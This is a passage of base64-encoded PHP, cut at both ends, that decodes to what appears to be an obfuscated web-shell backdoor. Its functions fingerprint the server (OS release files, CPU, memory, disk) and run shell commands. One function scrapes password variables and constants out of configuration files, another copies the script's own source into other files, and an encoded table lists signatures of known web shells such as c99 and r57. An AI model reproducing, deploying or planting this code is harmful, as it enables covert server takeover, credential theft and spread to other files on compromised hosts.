AiI1xyP1xuIyIsICIjPC8oaDF8aDJ8aDN8dHIpPiMiLCAnIyArPCMnLCAiI1sgXHRdKyMiLCAnIyZuYnNwOyMnLCAnIyAgKyMnLCAnIyBjbGFzcz0iLio/IiMnLCAnJSYjMDM5OyUnLCAnIzx0cj4oPzouKj8pIiBzcmM9Iig/Oi4qPyk9KC4qPykiIGFsdD0iUEhQIExvZ28iIC8+PC9hPicgLic8aDE+UEhQIFZlcnNpb24gKC4qPyk8L2gxPig/OlxuKz8pPC90ZD48L3RyPiMnLCAnIzxoMT48YSBocmVmPSIoPzouKj8pXD89KC4qPykiPlBIUCBDcmVkaXRzPC9hPjwvaDE+IycsICcjPHRyPig/Oi4qPykiIHNyYz0iKD86Lio/KT0oLio/KSIoPzouKj8pWmVuZCBFbmdpbmUgKC4qPyksKD86Lio/KTwvdHI+IycsICIjICsjIiwgJyM8dHI+IycsICcjPC90cj4jJyksIGFycmF5KCckMScsICcnLCAnJywgJycsICc8LyQxPicgLiAiXG4iLCAnPCcsICcgJywgJyAnLCAnICcsICcnLCAnICcsICc8aDI+UEhQIENvbmZpZ3VyYXRpb248L2gyPicuIlxuIi4nPHRyPjx0ZD5QSFAgVmVyc2lvbjwvdGQ+PHRkPiQyPC90ZD48L3RyPicuICJcbiIuJzx0cj48dGQ+UEhQIEVnZzwvdGQ+PHRkPiQxPC90ZD48L3RyPicsICc8dHI+PHRkPlBIUCBDcmVkaXRzIEVnZzwvdGQ+PHRkPiQxPC90ZD48L3RyPicsICc8dHI+PHRkPlplbmQgRW5naW5lPC90ZD48dGQ+JDI8L3RkPjwvdHI+JyAuICJcbiIgLiAnPHRyPjx0ZD5aZW5kIEVnZzwvdGQ+PHRkPiQxPC90ZD48L3RyPicsICcgJywgJyVTJScsICclRSUnKSwgQG9iX2dldF9jbGVhbigpKTsgJHNlY3Rpb25zID0gQGV4cGxvZGUoJzxoMj4nLCBAc3RyaXBfdGFncygkcGksICc8aDI+PHRoPjx0ZD4nKSk7IHVuc2V0KCRzZWN0aW9uc1swXSk7ICRwaSA9IGFycmF5KCk7IGZvcmVhY2goJHNlY3Rpb25zIGFzICRzZWN0aW9uKXsgJG4gPSBAc3Vic3RyKCRzZWN0aW9uLCAwLCBAc3RycG9zKCRzZWN0aW9uLCAnPC9oMj4nKSk7IEBwcmVnX21hdGNoX2FsbCggJyMlUyUoPzo8dGQ+KC4qPyk8L3RkPik/KD86PHRkPiguKj8pPC90ZD4pPyg/Ojx0ZD4oLio/KTwvdGQ+KT8lRSUjJywgJHNlY3Rpb24sICRhc2thcGFjaGUsIFBSRUdfU0VUX09SREVSKTsgZm9yZWFjaCgkYXNrYXBhY2hlIGFzICRtKSAkcGlbJG5dWyRtWzFdXT0oQGlzc2V0KCRtWzJdKSYmKCFAaXNzZXQoJG1bM10pfHwkbVsyXT09JG1bM10pKT8kbVsyXTpAYXJyYXlfc2xpY2UoJG0sMik7IH0gcmV0dXJuICgkcmV0dXJuID09PSBmYWxzZSkgPyBwcmludF9yKCRwaSkgOiAkcGk7IH0gZnVuY3Rpb24gejFiKCl7ICRkaXN0cm9zPWFycmF5KCJTVVNFIExJTlVYIj0+IlN1U0UtcmVsZWFzZTtVbml0ZWRMaW51eC1yZWxlYXNlIiwgIk1hbmRyYWtlIj0+Im1hbmRyYWtlLXJlbGVhc2UiLCAiTWFuZHJpdmFMaW51eCI9PiJtYW5kcmFrZS1yZWxlYXNlIiwgIkdlbnRvbyI9PiJnZW50b28tcmVsZWFzZSIsICJGZWRvcmEiPT4iZmVkb3JhLXJlbGVhc2UiLCAiUmVkSGF0Ij0+InJlZGhhdC1yZWxlYXNlO3JlZGhhdF92ZXJzaW9uIiwgIlNsYWNrd2FyZSI9PiJzbGFja3dhcmUtcmVsZWFzZTtzbGFja3dhcmUtdmVyc2lvbiIsICJUcnVzdGl4Ij0+InRydXN0aXgtcmVsZWFzZTt0cnVzdGl4LXZlcnNpb24iLCAiRnJlZUVPUyI9PiJlb3MtdmVyc2lvbiIsICJBcmNoIj0+ImFyY2gtcmVsZWFzZSIsICJDb2JhbHQiPT4iY29iYWx0LXJlbGVhc2UiLCAiTGludXhGcm9tU2NyYXRjaCI9PiJsZnMtcmVsZWFzZSIsICJSdWJpeCI9PiJydWJpeC12ZXJzaW9uIiwgIlVidW50dSI9PiJsc2ItcmVsZWFzZSIsICJQTEQiPT4icGxkLXJlbGVhc2UiLCAiQ2VudE9TIj0+InJlZGhhdC1yZWxlYXNlO3JlZGhhdF92ZXJzaW9uIiwgIkxGUyI9PiJsZnMtcmVsZWFzZTtsZnNfdmVyc2lvbiIsICJITEZTIj0+ImhsZnMtcmVsZWFzZTtobGZzX3ZlcnNpb24iLCAiRGViaWFuIj0+ImRlYmlhbl9yZWxlYXNlO2RlYmlhbl92ZXJzaW9uIik7IGZvcmVhY2goJGRpc3Ryb3MgYXMgJGs9PiR2KXsgJGZzPUBleHBsb2RlKCI7Iiwkdik7IGZvcmVhY2goJGZzIGFzICRmKXsgaWYoejRyKCIvZXRjLyIuJGYpKXsgJHQ9QHN0cl9yZXBsYWNlKCJcbiIsIiIsejlvKCIvZXRjLyIuJGYpKTsgJHQ9QHRyaW0oJHQpOyBpZihAcHJlZ19tYXRjaCgiL2Rlc2NyaXB0aW9uPVwiKC4qKVwiL2kiLCR0LCRtKSl7IHJldHVybiAkbVsxXTsgfSBlbHNlIHsgcmV0dXJuICRrLiIgKCR0KSI7IH0gfSB9IH0gcmV0dXJuICJVbmtub3duIjsgfSBmdW5jdGlvbiB6M28oKXsgJHI9ejl5KCI0MzAiKTsgJGM9JGs9JGI9IiI7ICRmPXo5bygiL3Byb2MvY3B1aW5mbyIpOyBpZighQGVtcHR5KCRmKSl7ICRhPUBleHBsb2RlKCJcbiIsJGYpOyAkbj0wOyBmb3IoJGk9MDsgJGk8QGNvdW50KCRhKTsgJGkrKykgeyBAbGlzdCgkeCwgJHksKT1AZXhwbG9kZSgiOiIsJGFbJGldKTsgJHg9QHJ0cmltKCR4KTsgJHk9QHJ0cmltKCR5KTsgaWYoJHg9PSJwcm9jZXNzb3IiKXsgJG4rKzsgJHI9JG47IH0gaWYoJHg9PSJ2ZW5kb3JfaWQiKSAkci49JHk7IGlmKCR4PT0ibW9kZWwgbmFtZSIpICRyLj0keTsgaWYoJHg9PSJjcHUgTUh6Iil7ICRyLj0iICIuQGZsb29yKCR5KTsgJGs9InkiOyB9IGlmKCR4PT0iY2FjaGUgc2l6ZSIpICRjPSR5OyBpZigkeD09ImJvZ29taXBzIikgJGI9JHk7IH0gaWYoJGshPSJ5IikgJHIuPSIgPGI+dW5rbm93bjwvYj4iOyAkci49IiBNSHogLyBDYWNoZTogJGMgLyBCb2dvTUlQUzogJGIiOyB9IHJldHVybiAkcjsgfSBmdW5jdGlvbiB6MmooJHVzZWQpeyByZXR1cm4gJzxkaXYgY2xhc3M9IicuejRtKCI0IiwiMyIpLiciPjxkaXYgY2xhc3M9IicuejRtKCI1IiwiMyIpLiciIHN0eWxlPSJ3aWR0aDonLiR1c2VkLiclOyI+Jm5ic3A7PC9kaXY+PC9kaXY+JzsgfSBmdW5jdGlvbiB6NWEoKXsgZ2xvYmFsICRzaF9leGVjLCAkbml4OyAkbWVtPSRidWZmPSRzd2FwPWFycmF5KCIiLHo5eSgiNDMwIikpOyBpZigkbml4JiYkc2hfZXhlYyl7ICRtPXo5ZSgiZnJlZSAtYiIpOyBpZighQGVtcHR5KCRtKSl7ICRlPUBleHBsb2RlKCJcbiIsJG0pOyBmb3JlYWNoKCRlIGFzICRsKXsgaWYoQHByZWdfbWF0Y2goJy9tZW06XHMqKFswLTldKylccyooWzAtOV0rKVxzKihbMC05XSspL2knLCRsLCR0KSl7ICR1c2VkPUByb3VuZCgoJHRbMl0vJHRbMV0pKjEwMCk7ICRtZW09YXJyYXkoejJqKCR1c2VkKSx6OXkoIjQyNiIsejd4KCR0WzFdKSkuIiAiLno5eSgiNDI5Iix6N3goJHRbMl0pKS4iICgiLiR1c2VkLiIlKSAiLno5eSgiNDY1Iix6N3goJHRbM10pKSk7IH0gZWxzZWlmKEBwcmVnX21hdGNoKCcvc3dhcDpccyooWzAtOV0rKVxzKihbMC05XSspXHMqKFswLTldKykvaScsJGwsJHQpKXsgJHVzZWQ9QHJvdW5kKCgkdFsyXS8kdFsxXSkqMTAwKTsgJHN3YXA9YXJyYXkoejJqKCR1c2VkKSx6OXkoIjQyNiIsejd4KCR0WzFdKSkuIiAiLno5eSgiNDI5Iix6N3goJHRbMl0pKS4iICgiLiR1c2VkLiIlKSAiLno5eSgiNDY1Iix6N3goJHRbM10pKSk7IH0gZWxzZWlmKEBwcmVnX21hdGNoKCcvLVwvXCsgYnVmZmVyc1wvY2FjaGU6XHMqKFswLTldKylccyooWzAtOV0rKS9pJywkbCwkdCkpeyAkdG90PSgkdFsxXSskdFsyXSk7ICR1c2VkPUByb3VuZCgoJHRbMV0vJHRvdCkqMTAwKTsgJGJ1ZmY9YXJyYXkoejJqKCR1c2VkKSx6OXkoIjQyNiIsejd4KCR0b3QpKS4iICIuejl5KCI0MjkiLHo3eCgkdFsxXSkpLiIgKCIuJHVzZWQuIiUpICIuejl5KCI0NjUiLHo3eCgkdFsyXSkpKTsgfSB9IH0gfSByZXR1cm4gYXJyYXkoJG1lbSwkYnVmZiwkc3dhcCk7IH0gZnVuY3Rpb24gejlyKCl7IGdsb2JhbCAkbml4LCRzaF9leGVjLCRkdG90YWwsJGRmcmVlLCRkdXNlZCwkd2luOyAkaXQ9QGludHZhbCgkZHRvdGFsKTsgJGl1PUBpbnR2YWwoJGR1c2VkKTsgJHVzZWQ9QHJvdW5kKCgkaXUvJGl0KSoxMDApOyAkcj1hcnJheShhcnJheSh6MmooJHVzZWQpLHo5eSgiNDI2IiwkZHRvdGFsKS4iICIuejl5KCI0MjkiLCRkdXNlZCkuIiAoIi4kdXNlZC4iJSkgIi56OXkoIjQ2NSIsJGRmcmVlKSkpOyBpZigkd2luJiZ6N2UoJ2Rpc2tfZnJlZV9zcGFjZScpJiZ6N2UoJ2Rpc2tfdG90YWxfc3BhY2UnKSl7ICR0cj1hcnJheSgpOyBmb3JlYWNoKEByYW5nZSgiQiIsIloiKSBhcyAkbGV0KXsgaWYoejRyKCRsZXQuIjovIikpeyAkZnJlZT1AZGlza19mcmVlX3NwYWNlKCRsZXQuIjovIik7ICR0b3RhbD1AZGlza190b3RhbF9zcGFjZSgkbGV0LiI6LyIpOyBpZigkZnJlZT09PWZhbHNlKSAkZnJlZT0wOyBpZigkdG90YWw9PT1mYWxzZSkgJHRvdGFsPTA7IGlmKCRmcmVlPDApICRmcmVlPTA7IGlmKCR0b3RhbDwwKSAkdG90YWw9MDsgJHVzZWQ9KCR0b3RhbC0kZnJlZSk7ICRwdXNlZD1Acm91bmQoKCR1c2VkLyR0b3RhbCkqMTAwKTsgJHRyWyRsZXQuIjoiXT1hcnJheSh6MmooJHB1c2VkKSx6OXkoIjQyNiIsejd4KCR0b3RhbCkpLiIgIi56OXkoIjQyOSIsejd4KCR1c2VkKSkuIiAoIi4kcHVzZWQuIiUpICIuejl5KCI0NjUiLHo3eCgkZnJlZSkpKTsgfSB9IGlmKEBjb3VudCgkdHIpIT09MCkgJHI9JHRyOyB9IGVsc2VpZigkbml4JiYkc2hfZXhlYyl7ICRkZj16OWUoImRmIC1CMSIpOyBpZighQGVtcHR5KCRkZikpeyAkZT1AZXhwbG9kZSgiXG4iLCRkZik7IEBhcnJheV9zaGlmdCgkZSk7ICR0cj1hcnJheSgpOyBmb3JlYWNoKCRlIGFzICRsKXsgJHA9QHByZWdfc3BsaXQoIi8gLyIsJGwsTlVMTCxQUkVHX1NQTElUX05PX0VNUFRZICk7IGlmKEBjb3VudCgkcCkhPT02KSBicmVhazsgJHVzZWQ9QHJvdW5kKCgkcFsyXS8kcFsxXSkqMTAwKTsgJHRyWyRwWzVdXT1hcnJheSh6MmooJHVzZWQpLHo5eSgiNDI2Iix6N3goJHBbMV0pKS4iICIuejl5KCI0MjkiLHo3eCgkcFsyXSkpLiIgKCIuJHVzZWQuIiUpICIuejl5KCI0NjUiLHo3eCgkcFszXSkpLiIgRlM6ICIuJHBbMF0pOyB9IGlmKEBjb3VudCgkdHIpIT09MCkgJHI9JHRyOyB9IH0gcmV0dXJuICRyOyB9IGZ1bmN0aW9uIHoycCgkZmlsZSwgJHVzZXIpeyBnbG9iYWwgJHBhc3NhcnJheTsgaWYoIUBpc3NldCgkcGFzc2FycmF5KSkgJHBhc3NhcnJheT1hcnJheSgpOyBpZighQGlzc2V0KCRwYXNzYXJyYXlbJHVzZXJdKSkgJHBhc3NhcnJheVskdXNlcl09YXJyYXkoKTsgJGY9ejlvKCRmaWxlKTsgaWYoIWVtcHR5KCRmKSl7ICRyZWd2YXI9Jy9cJChbQS1aYS16X11bQS1aYS16XzAtOV0qKVxzKj1ccyooW1wnIl17MX0pKFteXDJcc1x0XHJcbl0rKVwyXHMqOy8nOyAkcmVndmFyMT0nLyhbXCciXXsxfSkoW0EtWmEtel9dW0EtWmEtel8wLTldKilcMVtcc1x0XHJcbl0qPT5bXHNcdFxyXG5dKihbXCciXXsxfSkoW15cM1xzXHRcclxuXSspXDMvJzsgJHJlZ3ZhcjI9Jy9cWyhbXCciXXsxfSkoW0EtWmEtel9dW0EtWmEtel8wLTldKilcMVxdW1xzXHRcclxuXSo9W1xzXHRcclxuXSooW1wnIl17MX0pKFteXDNcc1x0XHJcbl0rKVwzLyc7ICRyZWdjb25zdD0nL2RlZmluZVxzKlwoKFtcJyJdezF9KShbQS1aYS16X11bQS1aYS16XzAtOV0qKVwxXHMqLFxzKihbXCciXXsxfSkoW15cM1xzXHRcclxuXSspXDNccypcKVxzKjsvJzsgaWYoQHByZWdfbWF0Y2hfYWxsKCRyZWd2YXIsICRmLCAkbSkpeyAkdmFyPSRtWzFdOyAkdmFsPSRtWzNdOyBmb3IoJGk9MDskaTxAY291bnQoJHZhcik7JGkrKyl7IGlmKEBwcmVnX21hdGNoKCcvcGFzcy9pJywkdmFyWyRpXSkpeyBpZighQGVtcHR5KCR2YWxbJGldKSYmIUBpbl9hcnJheSgkdmFsWyRpXSwgJHBhc3NhcnJheVskdXNlcl0pKXsgJHBhc3NhcnJheVskdXNlcl1bXT0kdmFsWyRpXTsgfSB9IH0gdW5zZXQoJHZhcik7IHVuc2V0KCR2YWwpOyB1bnNldCgkbSk7IH0gaWYoQHByZWdfbWF0Y2hfYWxsKCRyZWd2YXIxLCAkZiwgJG0pKXsgJHZhcj0kbVsyXTsgJHZhbD0kbVs0XTsgZm9yKCRpPTA7JGk8QGNvdW50KCR2YXIpOyRpKyspeyBpZihAcHJlZ19tYXRjaCgnL3Bhc3MvaScsJHZhclskaV0pKXsgaWYoIUBlbXB0eSgkdmFsWyRpXSkmJiFAaW5fYXJyYXkoJHZhbFskaV0sICRwYXNzYXJyYXlbJHVzZXJdKSl7ICRwYXNzYXJyYXlbJHVzZXJdW109JHZhbFskaV07IH0gfSB9IHVuc2V0KCR2YXIpOyB1bnNldCgkdmFsKTsgdW5zZXQoJG0pOyB9IGlmKEBwcmVnX21hdGNoX2FsbCgkcmVndmFyMiwgJGYsICRtKSl7ICR2YXI9JG1bMl07ICR2YWw9JG1bNF07IGZvcigkaT0wOyRpPEBjb3VudCgkdmFyKTskaSsrKXsgaWYoQHByZWdfbWF0Y2goJy9wYXNzL2knLCR2YXJbJGldKSl7IGlmKCFAZW1wdHkoJHZhbFskaV0pJiYhQGluX2FycmF5KCR2YWxbJGldLCAkcGFzc2FycmF5WyR1c2VyXSkpeyAkcGFzc2FycmF5WyR1c2VyXVtdPSR2YWxbJGldOyB9IH0gfSB1bnNldCgkdmFyKTsgdW5zZXQoJHZhbCk7IHVuc2V0KCRtKTsgfSBpZihAcHJlZ19tYXRjaF9hbGwoJHJlZ2NvbnN0LCAkZiwgJG0pKXsgJHZhcj0kbVsyXTsgJHZhbD0kbVs0XTsgZm9yKCRpPTA7JGk8QGNvdW50KCR2YXIpOyRpKyspeyBpZihAcHJlZ19tYXRjaCgnL3Bhc3MvaScsJHZhclskaV0pKXsgaWYoIUBlbXB0eSgkdmFsWyRpXSkmJiFAaW5fYXJyYXkoJHZhbFskaV0sICRwYXNzYXJyYXlbJHVzZXJdKSl7ICRwYXNzYXJyYXlbJHVzZXJdW109JHZhbFskaV07IH0gfSB9IHVuc2V0KCR2YXIpOyB1bnNldCgkdmFsKTsgdW5zZXQoJG0pOyB9IH0gdW5zZXQoJGYpOyB9IGZ1bmN0aW9uIHoydygkZmlsZSl7IGlmKCF6NGUoJGZpbGUpKSByZXR1cm4gZmFsc2U7ICRtZT16OW8oX19GSUxFX18pOyBpZighJG1lKSByZXR1cm4gZmFsc2U7IHJldHVybiB6OXQoJGZpbGUsJG1lKTsgfSBmdW5jdGlvbiB6MnIoJGZpbGUsJHBvc3NpYmxlPTAsJHJlcGxhY2U9MCl7ICRyZXBsYWNlZD0iIjsgJGtub3duZnVuYz1hcnJheSggImM5OS92YXJpYW50Ij0+QGV4cGxvZGUoInx8IixAYmFzZTY0X2RlY29kZSgiWm5ObFlYSmphQ2drWkNsOGZHWjBjR0p5ZFhSbFkyaGxZMnNvSkdodmMzUXNKSEJ2Y25Rc0pIUnBiV1Z2ZFhRc0pHeHZaMmx1TENSd1lYTnpMQ1J6YUN3a1puRmlYMjl1YkhsM2FYUm9jMmdwZkh4blpYUnpiM1Z5WTJVb0pHWnVLWHg4YzJobGVHbDBLQ2w4ZkY5aWRXWm1YM0J5WlhCaGNtVW9LWHg4WDNObGMzTmZjSFYwS0NSa1lYUmhLWHg4WkdsemNHeGhlWE5sWTJsdVptOG9KRzVoYldVc0pIWmhiSFZsS1h4OFpuTmZZMjl3ZVY5a2FYSW9KR1FzSkhRcGZIeG1jMTlqYjNCNVgyOWlhaWdrWkN3a2RDbDhmR1p6WDIxdmRtVmZaR2x5S0NSa0xDUjBLWHg4Wm5OZmJXOTJaVjl2WW1vb0pHUXNKSFFwZkh4bWMxOXliV1JwY2lna1pDbDhmR1p6WDNKdGIySnFLQ1J2S1h4OFoyVjBiV2xqY205MGFXMWxLQ2w4ZkcxNWMyaGxiR3hsZUdWaktDUmpiV1FwZkh4dGVYTnhiRjl6YldGeWRHVnljbTl5S0NSMGVYQmxMQ1J6YjJOcktYeDhiMjV3YUhCemFIVjBaRzkzYmlncGZIeHdZWEp6WlhOdmNuUW9KSE52Y25RcGZIeHdZWEp6WlY5d1pYSnRjeWdrYlc5a1pTbDhmSE4wY2pKdGFXNXBLQ1JqYjI1MFpXNTBMQ1JzWlc0cGZIeDBZV0p6YjNKMEtDUmhMQ1JpS1h4OGRtbGxkMTl3WlhKdGN5Z2tiVzlrWlNsOGZIWnBaWGRmY0dWeWJYTmZZMjlzYjNJb0pHOHBmSHgyYVdWM1gzTnBlbVVvSkhOcGVtVXAiKSksICJyNTcvdmFyaWFudCI9PkBleHBsb2RlKCJ8fCIsQGJhc2U2NF9kZWNvZGUoIlkyWW9KR1p1WVcxbExDUjBaWGgwS1h4OFkyaGhibWRsWDJScGRuTjBLR2xrS1h4OFkyeHZjMlVvS1h4OFkyOXRjSEpsYzNNb0ppUm1hV3hsYm1GdFpTd21KR1pwYkdWa2RXMXdMQ1JqYjIxd2NtVnpjeWw4ZkdOdmJtNWxZM1FvS1h4OFkzZ29LWHg4UkdseVJtbHNaWE5TS0NSa2FYSXNKSFI1Y0dWelBTY25LWHg4WkdsMktDUnBaQ2w4ZkdSMWJYQW9KSFJoWW14bEtYeDhaWEp5S0NSdUxDUjBlSFE5SnljcGZIeGxlQ2drWTJabEtYeDhSMlYwUm1sc1pVMWhkR05vWlhORGIzVnVkQ2dwZkh4SFpYUkdhV3hsYzFSdmRHRnNLQ2w4ZkVkbGRFMWhkR05vWlhORGIzVnVkQ2dwZkh4SFpYUlNaWE4xYkhSR2FXeGxjeWdwZkh4SFpYUlVhVzFsVkc5MFlXd29LWHg4UjJWMFZHbDBiR1Z6S0NsOGZHZGxkRjkxYzJWeWN5Z2tabWxzWlc1aGJXVXBmSHhwYmlna2RIbHdaU3drYm1GdFpTd2tjMmw2WlN3a2RtRnNkV1VzSkdOb1pXTnJaV1E5TUNsOGZHeHZZMkYwWlNna2NISXBmSHh0WVdsc1lYUjBZV05vS0NSMGJ5d2tabkp2YlN3a2MzVmlhaXdrWVhSMFlXTm9LWHg4Ylc5eVpYSmxZV1FvSkhSbGJYQXBmSHh0YjNKbGQzSnBkR1VvSkhSbGJYQXNKSE4wY2owbkp5bDhmSEJsY20xektDUnRiMlJsS1h4OGNtVmhaSHBzYVdJb0pHWnBiR1Z1WVcxbExDUjBaVzF3UFNjbktYeDhjMkZtWlY5bGVDZ2tZMlpsS1h4OFUyVmhjbU5vVW1WemRXeDBLQ1JrYVhJc0pIUmxlSFFzSkdacGJIUmxjajBuSnlsOGZGTmxZWEpqYUZSbGVIUW9KSEJvY21GelpUMHdMQ1JqWVhObFBUQXBmSHh6YUc5M1gyUnBkaWhwWkNsOGZITnlLQ1JzTENSME1Td2tkRElwZkh4MGIxVlVSaWdrZUNsOGZGVmZkbUZzZFdVb0pIWmhiSFZsS1h4OFZWOTNiM0prZDNKaGNDZ2tjM1J5S1h4OGRtbGxkMTl6YVhwbEtDUnphWHBsS1h4OGQyaHBZMmdvSkhCeUtYeDhkM01vSkdrcCIpKSwgImMzNyI9PkBleHBsb2RlKCJ8fCIsQGJhc2U2NF9kZWNvZGUoIlEyaGxZMnRDWVhObE5qUW9KRWhoYzJncGZIeERhR1ZqYTBoRldDZ2tTR0Z6YUN3a1EyRnpaU2w4ZkVOdmJtWnBaM1Z5WlVOb1pXTnJRbTk0WlhOUVpYSnRhWE56YVc5dWN5Z3BmSHhEYjI1bWFXZDFjbVZRWlhKdGFYTnphVzl1Y3loMWMyVnlLWHg4UjJWMFRHRnpkRVZ5Y205eUtDbDhmRWRsZEZCbGNtMXpLQ1lrUmlrPSIpKSwgIkJPRkYiPT5AZXhwbG9kZSgifHwiLEBiYXNlNjRfZGVjb2RlKCJZU2hoTEdNc2NERXNjRElzY0RNc1kyaGhjbk5sZENsOGZHRmpkR2x2YmtKeWRYUmxabTl5WTJVb0tYeDhZV04wYVc5dVEyOXVjMjlzWlNncGZIeGhZM1JwYjI1R2FXeGxjMDFoYmlncGZIeGhZM1JwYjI1R2FXeGxjMVJ2YjJ4ektDbDhmR0ZqZEdsdmJreHZaMjkxZENncGZIeGhZM1JwYjI1T1pYUjNiM0pyS0NsOGZHRmpkR2x2YmxCb2NDZ3BmSHhoWTNScGIyNVNReWdwZkh4aFkzUnBiMjVUWVdabFRXOWtaU2dwZkh4aFkzUnBiMjVUWldOSmJtWnZLQ2w4ZkdGamRHbHZibE5sYkdaU1pXMXZkbVVvS1h4OFlXTjBhVzl1VTNGc0tDbDhmR0ZqZEdsdmJsTjBjbWx1WjFSdmIyeHpLQ2w4ZkVKUFJrWkZlQ2drYVc0cGZIeENUMFpHUm05dmRHVnlLQ2w4ZkVKUFJrWklaV0ZrWlhJb0tYeDhRazlHUmt4dloybHVLQ2w4ZkVKUFJrWlFaWEp0Y3lna2NDbDhmRUpQUmtaUVpYSnRjME52Ykc5eUtDUm1LWHg4UWs5R1JsSmxZM1Z5YzJsMlpVZHNiMklvSkhCaGRHZ3BmSHhDVDBaR2MzUnlhWEJ6YkdGemFHVnpLQ1JoY25KaGVTbDhmRUpQUmtaV2FXVjNVMmw2WlNna2N5bDhmRUpQUmtaWGFHbGphQ2drY0NsOGZHSnlkWFJsUm05eVkyVW9KR2x3TENSd2IzSjBMQ1JzYjJkcGJpd2tjR0Z6Y3lsOGZHSnlkWFJsUm05eVkyVW9KR2x3TENSd2IzSjBMQ1JzYjJkcGJpd2tjR0Z6Y3lsOGZHSnlkWFJsUm05eVkyVW9KR2x3TENSd2IzSjBMQ1JzYjJkcGJpd2tjR0Z6Y3lsOGZHTm1LQ1JtTENSMEtYeDhZMjl3ZVY5d1lYTjBaU2drWXl3a2N5d2taQ2w4ZkVSaVEyeGhjM01vSkhSNWNHVXBmSHhrWld4bGRHVkVhWElvSkhCaGRHZ3BmSHh0YjNabFgzQmhjM1JsS0NSakxDUnpMQ1JrS1h4OGNISnZZMlZ6YzFKbGNVTm9ZVzVuWlNncCIpKSwgImRldnNoZWxsIj0+QGV4cGxvZGUoInx8IixAYmFzZTY0X2RlY29kZSgiWTJ4cFkydGpiV1FvS1h4OFkzTW9KSFFwZkh4a2JHWnBiR1VvSkhVc0pIQXBmSHhrYkdacGJHVW9KSFZ5YkN3a1puQmhkR2dwZkh4bGVHVW9KR01wZkh4bmNDZ2taaWw4ZkdkektDUm1LWHg4YVc1cGRDZ3BmSHh5YldScGNuTW9KR1FwZkh4eWNDZ2tkQ2w4ZkhOb2IzZGthWElvSkhCM1pDd2tjSEp2YlhCMExDUjNhVzRwZkh4emN5Z2tkQ2w4ZkhOell5Z2tkQ2w4ZkhOM1pDZ2tjQ2w4ZkhSMWEyRnlLR3dzWWlsOGZIaDNhR2xqYUNna2NISXAiKSksICJFZ3kiPT5AZXhwbG9kZSgifHwiLEBiYXNlNjRfZGVjb2RlKCJZMkZzYkdaMWJtTnpLQ1JqYlc1a0tYeDhZMkZzYkhwdmJtVW9KRzV6WTJScGNpbDhmR05tS0NSbWJtRnRaU3drZEdWNGRDbDhmR05vWVc1blpWOWthWFp6ZENocFpDbDhmR05vWVc1blpWOWthWFp6ZENocFpDbDhmR05zYjNObEtDbDhmR052YlhCeVpYTnpLQ1lrWm1sc1pXNWhiV1VzSmlSbWFXeGxaSFZ0Y0N3a1kyOXRjSEpsYzNNcGZIeGtaV3h0S0NSa1pXeHRkSGgwS1h4OFJHbHlSbWxzWlhOU0tDUmthWElzSkhSNWNHVnpQU2NuS1h4OFpHOTNibXh2WVdRb0pHUjNabWxzWlNsOGZHVjRLQ1JqWm1VcGZIeEhaWFJHYVd4bFRXRjBZMmhsYzBOdmRXNTBLQ2w4ZkVkbGRFWnBiR1Z6Vkc5MFlXd29LWHg4UjJWMFRXRjBZMmhsYzBOdmRXNTBLQ2w4ZkdkbGRHMXBZM0p2ZEdsdFpTZ3BmSHhIWlhSU1pYTjFiSFJHYVd4bGN5Z3BmSHhIWlhSVWFXMWxWRzkwWVd3b0tYeDhSMlYwVkdsMGJHVnpLQ2w4ZkdsdUtDUjBlWEJsTENSdVlXMWxMQ1J6YVhwbExDUjJZV3gxWlN3a1kyaGxZMnRsWkQwd0tYeDhhVzVqYkdsdWF5Z2tiR2x1YXl3a2RtRnNLWHg4YldGcGJHRjBkR0ZqYUNna2RHOHNKR1p5YjIwc0pITjFZbW9zSkdGMGRHRmphQ2w4ZkcxdmNtVnlaV0ZrS0NSMFpXMXdLWHg4Ylc5eVpYZHlhWFJsS0NSMFpXMXdMQ1J6ZEhJOUp5Y3BmSHh5WldGa2VteHBZaWdrWm1sc1pXNWhiV1VzSkhSbGJYQTlKeWNwZkh4ellXWmxYMlY0S0NSalptVXBmSHhUWldGeVkyaFNaWE4xYkhRb0pHUnBjaXdrZEdWNGRDd2tabWxzZEdWeVBTY25LWHg4VTJWaGNtTm9WR1Y0ZENna2NHaHlZWE5sUFRBc0pHTmhjMlU5TUNsOGZITmxkRjlsYm1OdlpHVnlYMmx1Y0hWMEtIUmxlSFFwZkh4VlgzZHZjbVIzY21Gd0tDUnpkSElwZkh4MmFXVjNYM05wZW1Vb0pITnBlbVVwIikpLCAiaXRzZWN0ZWFtIj0+QGV4cGxvZGUoInx8IixAYmFzZTY0X2RlY29kZSgiWVdSa1gyUnBjaWdrYm1GdFpTbDhmR0pqYmlna2FYQmlZeXdrY0dKaktYeDhZbmx3WTNVb0pHWnBiR1VwZkh4aWVYZHplVzBvSkdacGJHVXBmSHhqWVd4algyUnBjbDl6YVhwbEtDUndZWFJvS1h4OFkyOXdlV1lvSkdacGJHVXhMQ1JtYVd4bE1pd2tabWxzWlc1aGJXVXBmSHhrWld4bGRHVkVhWEpsWTNSdmNua29KR1JwY2lsOGZHUnBjbkJsS0NSaFpHUnlaWE1wZkh4a2FYSndiV0Z6Y3lna1lXUmtjbVZ6TENSdFlYTnpibUZ0WlN3a2JXRnpjM052ZFhKalpTbDhmR1J2YzNObGNuWmxjaWdwZkh4a2IzZHViRzloWkNna1ptbHNaV0ZrWkN3a1ptbHVZVzFsS1h4OGJHSndLQ1IzWWlsOGZHOXdaVzVtS0NSd1lYSnpaV1lwZkh4d2NtbHVkR1J5YVhabEtDbDhmSEYxWlhKWktDUjBlWEJsTENSb2IzTjBMQ1IxYzJWeUxDUndZWE56TENSa1lqMG5KeXdrY1hWbGNua3BmSHh6YVhwbFpTZ2tjMmw2WlNsOGZITnhiR05zYVdWdVZDZ3AiKSksICJMb2N1cyI9PkBleHBsb2RlKCJ8fCIsQGJhc2U2NF9kZWNvZGUoIlltSmxjbklvS1h4OFl6azVabk5sWVhKamFDZ2taQ2w4ZkdNNU9XWjBjR0p5ZFhSbFkyaGxZMnNvSkdodmMzUXNKSEJ2Y25Rc0pIUnBiV1Z2ZFhRc0pHeHZaMmx1TENSd1lYTnpMQ1J6YUN3a1puRmlYMjl1YkhsM2FYUm9jMmdwZkh4ak9UbG5aWFJ6YjNWeVkyVW9KR1p1S1h4OFl6azVjMmhsZUdsMEtDbDhmR001T1Y5aWRXWm1YM0J5WlhCaGNtVW9LWHg4WXprNVgzTmxjM05mY0hWMEtDUmtZWFJoS1h4OFkyWW9KR1p1WVcxbExDUjBaWGgwS1h4OFkyWW9KR1p1WVcxbExDUjBaWGgwS1h4OFkyWmlLQ1JtYm1GdFpTd2tkR1Y0ZENsOGZHTm9aV05yY0hKdmVIbG9iM04wS0NsOG